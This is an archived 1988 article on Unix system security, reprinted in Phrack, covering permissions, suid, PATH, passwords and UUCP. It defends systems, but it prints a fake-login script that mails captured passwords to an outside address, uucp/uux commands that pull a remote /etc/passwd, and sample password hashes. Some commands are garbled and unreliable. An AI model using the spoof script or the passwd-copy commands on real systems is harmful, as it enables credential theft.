home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / Improving-Security / security15.txt < prev    next >
Encoding:
Text File  |  1999-11-04  |  25.9 KB  |  505 lines

  1.                              == Phrack Inc. ==
  2.  
  3.                    Volume Two, Issue 18, Phile #7 of 11
  4.  
  5.                        "Unix System Security Issues"
  6.                                  Typed by:
  7.                                   Whisky
  8.                           (from Holland, Europe)
  9.                    --------------------------------------
  10.                                    From
  11.                               Information Age
  12.                        Vol. 11, Number 2, April 1988
  13.                                 Written By:
  14.                    Michael J. Knox and Edward D. Bowden
  15.  
  16. Note: This file was sent to me from a friend in Holland. I felt that it
  17. would be a good idea to present this file to the UNIX-hacker community, to
  18. show that hackers don't always harm systems, but sometimes look for ways to
  19. secure flaws in existing systems. -- Jester Sluggo !!
  20.  
  21. There are a number of elements that have lead to the popularity of the Unix
  22. operating system in the world today. The most notable factors are its
  23. portability among hardware platforms and the interactive programming
  24. environment that it offers to users. In fact, these elements have had much
  25. to do with the successful evolution of the Unix system in the commercial
  26. market place. (1, 2)
  27. As the Unix system expands further into industry and government, the need
  28. to handle Unix system security will no doubt become imperative. For
  29. example, the US government is committing several million dollars a year for
  30. the Unix system and its supported hardware. (1) The security requirements
  31. for the government are tremendous, and one can only guess at the future
  32. needs of security in industry.
  33. In this paper, we will cover some of the more fundamental security risks in
  34. the Unix system. Discussed are common causes of Unix system compromise in
  35. such areas as file protection, password security, networking and hacker
  36. violations. In our conclusion, we will comment upon ongoing effects in Unix
  37. system security, and their direct influence on the portability of the Unix
  38. operating system.
  39.  
  40. FILE AND DIRECTORY SECURITY
  41.  
  42. In the Unix operating system environment, files and directories are
  43. organized in a tree structure with specific access modes. The setting of
  44. these modes, through permission bits (as octal digits), is the basis of
  45. Unix system security. Permission bits determine how users can access files
  46. and the type of access they are allowed. There are three user access modes
  47. for all Unix system files and directories: the owner, the group, and
  48. others. Access to read, write and execute within each of the usertypes is
  49. also controlled by permission bits (Figure 1). Flexibility in file security
  50. is convenient, but it has been criticized as an area of system security
  51. compromise.
  52.  
  53.                         Permission modes
  54.  
  55. OWNER                        GROUP                    OTHERS
  56.  
  57. ------------------------------------------------------------
  58.  
  59. rwx            :             rwx            :         rwx
  60.  
  61. ------------------------------------------------------------
  62.  
  63. r=read  w=write  x=execute
  64.  
  65. -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
  66.  
  67. drwx------ 2 sam A1 2 May 01 12:01 directory
  68.  
  69. FIGURE 1. File and directory modes: File shows Bob as the owner, with read
  70. and write permission. Group has write permission, while Others has read and
  71. execute permission. The directory gives a secure directory not readable,
  72. writeable, or executable by Group and Others.
  73.  
  74. Since the file protection mechanism is so important in the Unix operating
  75. system, it stands to reason that the proper setting of permission bits is
  76. required for overall security. Aside from user ignorance, the most common
  77. area of file compromise has to do with the default setting of permission
  78. bits at file creation. In some systems the default is octal 644, meaning
  79. that only the file owner can write and read to a file, while all others can
  80. only read it. (3) In many "open" environments this may be acceptable.
  81. However, in cases where sensitive data is present, the access for reading
  82. by others should be turned off. The file utility umask does in fact satisfy
  83. this requirement. A suggested setting, umask 027, would enable all
  84. permission for the file owner, disable write permission to the group, and
  85. disable permissions for all others (octal 750). By inserting this umask
  86. command in a user .profile or .login file, the default will be overwritten
  87. by the new settings at file creation.
  88. The CHMOD utility can be used to modify permission settings on files and
  89. directories. Issuing the following command,
  90.  
  91. chmod u+rwd,g+rw,g-w,u-rwx file
  92.  
  93. will provide the file with the same protection as the umask above (octal
  94. 750). Permission bits can be relaxed with chmod at a later time, but at
  95. least initially, the file structure can be made secure using a restrictive
  96. umask. By responsible application of such utilities as umask and chmod,
  97. users can enhance file system security. The Unix system, however, restricts
  98. the security defined by the user to only owner, group and others. Thus, the
  99. owner of the file cannot designate file access to specific users. As Kowack
  100. and Healy have pointed out, "The granularity of control that (file
  101. security) mechanisms is often insufficient in practice (...) it is not
  102. possible to grant one user write protection to a directory while granting
  103. another read permission to the same directory. (4) A useful file security
  104. file security extension to the Unix system might be Multics style access
  105. control lists. With access mode vulnerabilities in mind, users should pay
  106. close attention to files and directories under their control, and correct
  107. permissions whenever possible. Even with the design limitations in mode
  108. granularity, following a safe approach will ensure a more secure Unix
  109. system file structure.
  110.  
  111. SUID and SGID
  112.  
  113. The set user id (suid) and set group id (sgid) identify the user and group
  114. ownership of a file. By setting the suid or sgid permission bits of an
  115. executable file, other users can gain access to the same resources (via the
  116. executable file) as that of the real file's owner.
  117.  
  118. For Example:
  119.  
  120. Let Bob's program bob.x be an executable file accessible to others. When
  121. Mary executes bob.x, Mary becomes the new program owner. If during program
  122. execution bob.x requests access to file browse.txt, then Mary must have
  123. previous read or write permission to browse.txt. This would allow Mary and
  124. everyone else total access to the contents of browse.txt, even when she is
  125. not running bob.x. By turning on the suid bit of bob.x, Mary will have the
  126. same access permissions to browse.txt as does the program's real owner, but
  127. she will only have access to browse.txt during the execution of bob.x.
  128. Hence, by incorporating suid or sgid, unwelcome browsers will be prevented
  129. from accessing files like browse.txt.
  130.  
  131. Although this feature appears to offer substantial access control to Unix
  132. system files, it does have one critical drawback. There is always the
  133. chance that the superuser (system administrator) may have a writable file
  134. for others that is also set with suid. With some modification in the file's
  135. code (by a hacker), an executable file like this would enable a user to
  136. become a superuser. Within a short period of time this violator could
  137. completely compromise system security and make it inaccessible, even to
  138. other superusers. As Farrow (5) puts it, "(...) having a set-user-id copy
  139. of the shell owned by root is better than knowing the root password".
  140. To compensate for this security threat, writable suid files should be
  141. sought out and eliminated by the system administrator. Reporting of such
  142. files by normal users is also essential in correcting existing security
  143. breaches.
  144.  
  145. DIRECTORIES
  146.  
  147. Directory protection is commonly overlooked component of file security in
  148. the Unix system. Many system administrators and users are unaware of the
  149. fact, that "publicly writable directories provide the most opportunities
  150. for compromising the Unix system security" (6). Administrators tend to make
  151. these "open" for users to move around and access public files and
  152. utilities. This can be disastrous, since files and other subdirectories
  153. within writable directories can be moved out and replaced with different
  154. versions, even if contained files are unreadable or unwritable to others.
  155. When this happens, an unscrupulous user or a "password breaker" may
  156. supplant a Trojan horse of a commonly used system utility (e.g. ls, su,
  157. mail and so on). For example, imagine
  158.  
  159. For example:
  160.  
  161. Imagine that the /bin directory is publicly writable. The perpetrator could
  162. first remove the old su version (with rm utility) and then include his own
  163. fake su to read the password of users who execute this utility.
  164.  
  165. Although writable directories can destroy system integrity, readable ones
  166. can be just as damaging. Sometimes files and directories are configured to
  167. permit read access by other. This subtle convenience can lead to
  168. unauthorized disclosure of sensitive data: a serious matter when valuable
  169. information is lost to a business competitor.
  170. As a general rule, therefore, read and write access should be removed from
  171. all but system administrative directories. Execute permission will allow
  172. access to needed files; however, users might explicitly name the file they
  173. wish to use. This adds some protection to unreadable and unwritable
  174. directories. So, programs like lp file.x in an unreadable directory /ddr
  175. will print the contents of file.x, while ls/ddr would not list the contents
  176. of that directory.
  177.  
  178. PATH VARIABLE
  179.  
  180. PATH is an environment variable that points to a list of directories, which
  181. are searched when a file is requested by a process. The order of that
  182. search is indicated by the sequence of the listed directories in the PATH
  183. name. This variable is established at user logon and is set up in the users
  184. .profile of .login file.
  185. If a user places the current directory as the first entry in PATH, then
  186. programs in the current directory will be run first. Programs in other
  187. directories with the same name will be ignored. Although file and directory
  188. access is made easier with a PATH variable set up this way, it may expose
  189. the user to pre-existing Trojan horses.
  190. To illustrate this, assume that a Trojan horse, similar to the cat utility,
  191. contains an instruction that imparts access privileges to a perpetrator.
  192. The fake cat is placed in a public directory /usr/his where a user often
  193. works. Now if the user has a PATH variable with the current directory
  194. first, and he enters the cat command while in /usr/his, the fake cat in
  195. /usr/his would be executed but not the system cat located in /bin.
  196. In order to prevent this kind of system violation, the PATH variable must
  197. be correctly set. First, if at all possible, exclude the current directory
  198. as the first entry in the PATH variable and type the full path name when
  199. invoking Unix system commands. This enhances file security, but is more
  200. cumbersome to work with. Second, if the working directory must be included
  201. in the PATH variable, then it should always be listed last. In this way,
  202. utilities like vi, cat, su and ls will be executed first from systems
  203. directories like /bin and /usr/bin before searching the user's working
  204. directory.
  205.  
  206. PASSWORD SECURITY
  207.  
  208. User authentication in the Unix system is accomplished by personal
  209. passwords. Though passwords offer an additional level of security beyond
  210. physical constraints, they lend themselves to the greatest area of computer
  211. system compromise. Lack of user awareness and responsibility contributes
  212. largely to this form of computer insecurity. This is true of many computer
  213. facilities where password identification, authentication and authorization
  214. are required for the access of resources - and the Unix operating system is
  215. no exception. Password information in many time-sharing systems are kept in
  216. restricted files that are not ordinarily readable by users. The Unix system
  217. differs in this respect, since it allows all users to have read access to
  218. the /etc/passwd file (FIGURE 2) where encrypted passwords and other user
  219. information are stored. Although the Unix system implements a one-way
  220. encryption method, and in most systems a modified version of the data
  221. encryption standard (DES), password breaking methods are known. Among these
  222. methods, brute-force attacks are generally the least effective, yet
  223. techniques involving the use of heuristics (good guesses and knowledge
  224. about passwords) tend to be successful. For example, the /etc/passwd file
  225. contains such useful information as the login name and comments fields.
  226. Login names are especially rewarding to the "password breaker" since many
  227. users will use login variants for passwords (backward spelling, the
  228. appending of a single digit etc.). The comment field often contains items
  229. such as surname, given name, address, telephone number, project name and so
  230. on. To quote Morris and Grampp (7) in their landmark paper on Unix system
  231. security:
  232.  
  233.      [in the case of logins]
  234.  
  235.  
  236.  
  237.      The authors made a survey of several dozen local machines, using as
  238.      trial passwords a collection of the 20 most common female first names,
  239.      each followed by a single digit. The total number of passwords tried
  240.      was, therefore, 200. At least one of these 200 passwords turned out to
  241.      be a valid password on every machine surveyed.
  242.  
  243.      [as for comment fields]
  244.  
  245.  
  246.  
  247.      (...) if an intruder knows something about the people using a machine,
  248.      a whole new set of candidates is available. Family and friend's names,
  249.      auto registration numbers, hobbies, and pets are particularly
  250.      productive categories to try interactively in the unlikely event that
  251.      a purely mechanical scan of the password file turns out to be
  252.      disappointing.
  253.  
  254. Thus, given a persistent system violator, there is a strong evidence, that
  255. he will find some information about users in the /etc/passwd file. With
  256. this in mind, it is obvious that a password file should be unreadable to
  257. everyone except those in charge of system administration.
  258.  
  259. root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
  260.  
  261. mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin
  262.  
  263. FIGURE 2. The /etc/passwd file. Note the comments field as underlined
  264. terms.
  265.  
  266. Resolution of the /etc/passwd file's readability does not entirely solve
  267. the basic problem with passwords. Educating users and administrators is
  268. necessary to assure proper password utilization. First, "good passwords are
  269. those that are at least six characters long, aren't based on personal
  270. information, and have some non-alphabetic (especially control) characters
  271. in them: 4score, my_name, luv2run" (8). Secondly, passwords should be
  272. changed periodically but users should avoid alternating between two
  273. passwords. Different passwords for different machines and files will aid in
  274. protecting sensitive information. Finally, passwords should never be
  275. available to unauthorized users. Reduction of user ignorance about poor
  276. password choice will inevitably make a system more secure.
  277.  
  278. NETWORK SECURITY
  279.  
  280. UUCP system The most common Unix system network is the UUCP system, which
  281. is a group of programs that perform the file transfers and command
  282. execution between remote systems. (3) The problem with the UUCP system is
  283. that users on the network may access other users' files without access
  284. permission. As stated by Nowitz (9),
  285.  
  286.      The uucp system, left unrestricted, will let any outside user execute
  287.      commands and copy in/out any file that is readable/writable by a uucp
  288.      login user. It is up to the individual sites to be aware of this, and
  289.      apply the protections that they feel free are necessary.
  290.  
  291. This emphasizes the importance of proper implementation by the system
  292. administrator.
  293. There are four UUCP system commands to consider when looking into network
  294. security with the Unix system. The first is uucp, a command used to copy
  295. files between two Unix systems. If uucp is not properly implemented by the
  296. system administrator, any outside user can execute remote commands and copy
  297. files from another login user. If the file name on another system is known,
  298. one could use the uucp command to copy files from that system to their
  299. system. For example:
  300.  
  301.   %uucp system2!/main/src/hisfile myfile
  302.  
  303. will copy hisfile from system2 in the directory /main/src to the file
  304. myfile in the current local directory. If file transfer restrictions exist
  305. on either system, hisfile would not be sent. If there are no restrictions,
  306. any file could be copied from a remote user - including the password file.
  307. The following would copy the remote system /etc/passwd file to the local
  308. file thanks:
  309.  
  310.   %uucp system2!/etc/passwd thanks
  311.  
  312. System administrators can address the uucp matter by restricting uucp file
  313. transfers to the directory /user/spool/uucppublic. (8) If one tries to
  314. transfer a file anywhere else, a message will be returned saying "remote
  315. access to path/file denied" and no file transfer will occur.
  316. The second UUCP system command to consider is the uux. Its function is to
  317. execute commands on remote Unix computers. This is called remote command
  318. execution and is most often used to send mail between systems (mail
  319. executes the uux command internally).
  320. The ability to execute a command on another system introduces a serious
  321. security problem if remote command execution is not limited. As an example,
  322. a system should not allow users from another system to perform the
  323. following:
  324.  
  325.   %uux "system1!cat/usr/spool/uucppublic"
  326.  
  327. which would cause system1 to send its /etc/passwd file to the system2 uucp
  328. public directory. The user of system2 would now have access to the password
  329. file. Therefore, only a few commands should be allowed to execute remotely.
  330. Often the only command allowed to run uux is rmail, the restricted mail
  331. program.
  332. The third UUCP system function is the uucico (copy in / copy out) program.
  333. It performs the true communication work. Uucp or uux does not actually call
  334. up other systems; instead they are queued and the uucico program initiates
  335. the remote processes. The uucico program uses the file /usr/uucp/USERFILE
  336. to determine what files a remote system may send or receive. Checks for
  337. legal files are the basis for security in USERFILE. Thus the system
  338. administrator should carefully control this file.
  339. In addition, USERFILE controls security between two Unix systems by
  340. allowing a call-back flag to be set. Therefore, some degree of security can
  341. be achieved by requiring a system to check if the remote system is legal
  342. before a call-back occurs.
  343. The last UUCP function is the uuxqt. It controls the remote command
  344. execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to determine
  345. which commands will run in response to a remote execution request. For
  346. example, if one wishes to use the electronic mail feature, then the L.cmd
  347. file will contain the line rmail. Since uuxqt determines what commands will
  348. be allowed to execute remotely, commands which may compromise system
  349. security should not be included in L.cmd.
  350.  
  351. CALL THE UNIX SYSTEM
  352.  
  353. In addition to UUCP network commands, one should also be cautious of the cu
  354. command (call the Unix system). Cu permits a remote user to call another
  355. computer system. The problem with cu is that a user on a system with a weak
  356. security can use cu to connect to a more secure system and then install a
  357. Trojan horse on the stronger system. It is apparent that cu should not be
  358. used to go from a weaker system to a stronger one, and it is up to the
  359. system administrator to ensure that this never occurs.
  360.  
  361. LOCAL AREA NETWORKS
  362.  
  363. With the increased number of computers operating under the Unix system,
  364. some consideration must be given to local area networks (LANs). Because
  365. LANs are designed to transmit files between computers quickly, security has
  366. not been a priority with many LANs, but there are secure LANs under
  367. development. It is the job of the system manager to investigate security
  368. risks when employing LANs.
  369.  
  370. OTHER AREAS OF COMPROMISE
  371.  
  372. There are numerous methods used by hackers to gain entry into computer
  373. systems. In the Unix system, Trojan horses, spoofs and suids are the
  374. primary weapons used by trespassers.
  375. Trojan horses are pieces of code or shell scripts which usually assume the
  376. role of a common utility but when activated by an unsuspecting user
  377. performs some unexpected task for the trespasser. Among the many different
  378. Trojan horses, it is the su masquerade that is the most dangerous to the
  379. Unix system. Recall that the /etc/passwd file is readable to others, and
  380. also contains information about all users - even root users. Consider what
  381. a hacker could do if he were able to read this file and locate a root user
  382. with a writable directory. He might easily plant a fake su that would send
  383. the root password back to the hacker. A Trojan horse similar to this can
  384. often be avoided when various security measures are followed, that is, an
  385. etc/passwd file with limited read access, controlling writable directories,
  386. and the PATH variable properly set.
  387. A spoof is basically a hoax that causes an unsuspecting victim to believe
  388. that a masquerading computer function is actually a real system operation.
  389. A very popular spool in many computer systems is the terminal-login trap.
  390. By displaying a phoney login format, a hacker is able to capture the user's
  391. password.
  392. Imagine that a root user has temporarily deserted his terminal. A hacker
  393. could quickly install a login process like the one described by Morris and
  394. Grampp (7):
  395.  
  396.   echo -n "login:"
  397.  
  398.   read X
  399.  
  400.   stty -echo
  401.  
  402.   echo -n "password:"
  403.  
  404.   read Y
  405.  
  406.   echo ""
  407.  
  408.   stty echo
  409.  
  410.   echo %X%Y|mail outside|hacker&
  411.  
  412.   sleep 1
  413.  
  414.   echo Login incorrect
  415.  
  416.   stty 0>/dev/tty
  417.  
  418. We see that the password of the root user is mailed to the hacker who has
  419. completely compromised the Unix system. The fake terminal-login acts as if
  420. the user has incorrectly entered the password. It then transfers control
  421. over to the stty process, thereby leaving no trace of its existence.
  422. Prevention of spoofs, like most security hazards, must begin with user
  423. education. But an immediate solution to security is sometimes needed before
  424. education can be effected. As for terminal-login spoofs, there are some
  425. keyboard-locking programs that protect the login session while users are
  426. away from their terminals. (8, 10) These locked programs ignore
  427. keyboard-generated interrupts and wait for the user to enter a password to
  428. resume the terminal session.
  429. Since the suid mode has been previously examined in the password section,
  430. we merely indicate some suid solutions here. First, suid programs should be
  431. used is there are no other alternatives. Unrestrained suids or sgids can
  432. lead to system compromise. Second, a "restricted shell" should be given to
  433. a process that escapes from a suid process to a child process. The reason
  434. for this is that a nonprivileged child process might inherit privileged
  435. files from its parents. Finally, suid files should be writable only by
  436. their owners, otherwise others may have access to overwrite the file
  437. contents.
  438. It can be seen that by applying some basic security principles, a user can
  439. avoid Trojan horses, spoofs and inappropriate suids. There are several
  440. other techniques used by hackers to compromise system security, but the use
  441. of good judgement and user education may go far in preventing their
  442. occurrence.
  443.  
  444. CONCLUSION
  445.  
  446. Throughout this paper we have discussed conventional approaches to Unix
  447. system security by way of practical file management, password protection,
  448. and networking. While it can be argued that user education is paramount in
  449. maintaining Unix system security (11) factors in human error will promote
  450. some degree of system insecurity. Advances in protection mechanisms through
  451. better-written software (12), centralized password control (13) and
  452. identification devices may result in enhanced Unix system security.
  453. The question now asked applies to the future of Unix system operating. Can
  454. existing Unix systems accommodate the security requirements of government
  455. and industry? It appears not, at least for governmental security projects.
  456. By following the Orange Book (14), a government graded classification of
  457. secure computer systems, the Unix system is only as secure as the C1
  458. criterion. A C1 system, which has a low security rating (D being the
  459. lowest) provides only discretionary security protection (DSP) against
  460. browsers or non-programmer users. Clearly this is insufficient as far as
  461. defense or proprietary security is concerned. What is needed are
  462. fundamental changes to the Unix security system. This has been recognized
  463. by at least three companies, AT&T, Gould and Honeywell (15, 16, 17). Gould,
  464. in particular, has made vital changes to the kernel and file system in
  465. order to produce a C2 rated Unix operating system. To achieve this,
  466. however, they have had to sacrifice some of the portability of the Unix
  467. system. It is hoped that in the near future a Unix system with an A1
  468. classification will be realized, though not at the expense of losing its
  469. valued portability.
  470.  
  471. REFERENCES
  472.  
  473.   I. Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
  474.      pp 50-63
  475.  II. Waite, M et al. "Unix system V primer" USA (1984)
  476. III. Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp
  477.      113-128
  478.  IV. Kowack, G and Healy, D "Can the holes be plugged?" Computerworld Vol
  479.      18 (26 September 1984) pp 27-28
  480.   V. Farrow, R "Security issues and strategies for users" Unix/World (April
  481.      1986) pp 65-71
  482.  VI. Farrow, R "Security for superusers, or how to break the Unix system"
  483.      Unix/World (May 1986) pp 65-70
  484. VII. Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
  485.      Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672 Wood, P H and Kochan, S G
  486.      "Unix system security" USA (1985)
  487. VIII.Nowitz, D A "UUCP Implementation description: Unix programmer's manual
  488.      Sec. 2" AT&T Bell Laboratories, USA (1984)
  489.  IX. Thomas, R "Securing your terminal: two approaches" Unix/World (April
  490.      1986) pp 73-76
  491.   X. Karpinski, D "Security round table (Part 1)" Unix Review (October
  492.      1984) p 48
  493.  XI. Karpinski, D "Security round table (Part 2)" Unix Review (October
  494.      1984) p 48
  495. XII. Lobel, J "Foiling the system breakers: computer security and access
  496.      control" McGraw-Hill, USA (1986)
  497. XIII.National Computer Security Center "Department of Defense trusted
  498.      computer system evaluation criteria" CSC-STD-001-83, USA (1983)
  499. XIV. Stewart, F "Implementing security under Unix" Systems&Software
  500.      (February 1986)
  501.  XV. Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the
  502.      Lock TCB" Proceedings of USENIX (1988)
  503. XVI. Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
  504.      Government System Division, USA (August 1987)
  505.